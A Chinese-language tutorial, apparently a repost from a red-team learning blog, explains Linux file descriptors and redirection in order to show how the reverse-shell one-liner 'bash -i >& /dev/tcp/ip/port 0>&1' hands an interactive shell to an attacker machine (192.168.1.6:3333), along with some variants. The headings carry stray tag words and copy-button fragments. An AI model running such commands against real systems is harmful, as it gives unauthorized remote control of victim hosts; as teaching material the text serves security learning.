這裏說Linux重定向的緣由主要仍是爲了詳細瞭解一下Linux中的反彈shellshell
0x01 文件描述符bash
0x02 重定向socket
0x03 反彈shelltcp
0x04 交互重定向學習
0x05 命令變形spa
Linux的文件描述符有如下三種3d
標準輸入:0code
標準輸出:1cdn
錯誤輸出:2blog
對於文件描述符就先知道這些就能夠了,具體的使用會在重定向中來講,重定向就是對文件描述符的操做
重定向主要分爲如下兩種
輸入重定向 <
、<<
輸出重定向 >
、>>
經過下面的兩張圖就能夠很明白的看出來他們的用途了
咱們這裏的輸出重定向>
,就至關因而1>
,輸入重定向 <
,就至關因而0<
那若是要使用錯誤輸出的話,就必須寫成 2>
咱們也能夠把錯誤的內容重定向到另外一個文件中的
下面這個操做,咱們就能夠把正確的結果放到test.txt,而把錯誤的結果放到test1.txt文件中
一樣也能夠將結果和錯誤輸出一塊兒輸出到一個文件中去
在正常輸入的命令結尾加上2>&1
就能夠實現了,這個語句能夠理解爲將錯誤輸出與標準輸出一致,也就是將他們輸出到一個文件中來
其實這裏的&
符號是爲了區分文件跟文件描述符的,若是這裏沒有&
符號,系統會把它理解爲文件,而不是標準輸出
下面是很常見的一條反彈shell命令,咱們就以這個爲例來進行解釋
bash -i >& /dev/tcp/ip/port 0>&1複製代碼
解釋
bash -i複製代碼
表示建立一個交互式的shell,能夠在幫助文檔中看到
/dev/tcp/ip/port複製代碼
實際上這個文件不是存在的,可是當你在監聽這個端口的時候,對這個文件進行讀寫,就能夠實現兩個主機之間的socket通訊
首先咱們在本地開啓監聽,而後在Linux機器上輸入下面的命令,即將指定字符發送到192.168.6.1
的3333
端口
0>&1複製代碼
將標準輸入和標準輸出重定向到指定的文件中
若是把這條命令改爲2>&1
可能會更容易理解一點
若是理解了上面這個的話,對於這個就很容易理解了
>&複製代碼
將前面的後和後面的一致,就是將交互式的shell傳給咱們的遠程主機
理解了上面的內容,咱們將標準輸出改成標準輸入,看一下會發生什麼事情
理解了上面的內容以後,咱們在一步步分解一下交互式shell
使用下面的語句能夠將輸出內容發送到攻擊機上
可是這樣會有一個問題,攻擊者沒有實現對此主機的徹底控制,是不能在受害主機中運行命令的,此時咱們還會想起來另外一條命令,將它轉換成標準輸入
這樣咱們就實現了從攻擊機輸入命令進行控制,而後咱們將兩條命令合併一下,將標準輸入和標準輸出都指向到遠程主機上,即實現交互式shell
在這個狀況下的邏輯就是,從/dev/tcp/192.168.1.6/3333
獲取輸入,而後將輸出重定向到/dev/tcp/192.168.1.6/3333
,從而造成了一個迴路
可是這裏面仍是有一個問題的,能夠看到咱們輸入的命令在受害主機上仍是會顯示出命令的,因此仍是須要進行改進的
咱們上面也說了如何將全部的正確和錯誤信息都重定向到一塊兒,這裏就可使用這個方法來進行處理
能夠看到全部產生的消息都在攻擊機上顯示出來了,這樣就達到了咱們最初的目的了
咱們也可使用與之等價的命令來進行操做,也就是咱們最前面所寫出來的那一條命令
若是咱們把 0>&1
改爲 0<&1< code=""> 將會發生什麼
能夠發現二者的效果是同樣的,它們惟一的不一樣是打開文件時候的方式不一樣,其餘的內容都與咱們前面說的是同樣的
一樣的,咱們將 0>&1
變爲 0>&2
是同樣的效果
至於其餘的變形類型的,就按照上面所說的那些東西本身去推算便可。
文章首發公衆號:無意的夢囈(wuxinmengyi)
這是一個記錄紅隊學習、信安筆記,我的成長的公衆號
掃碼關注便可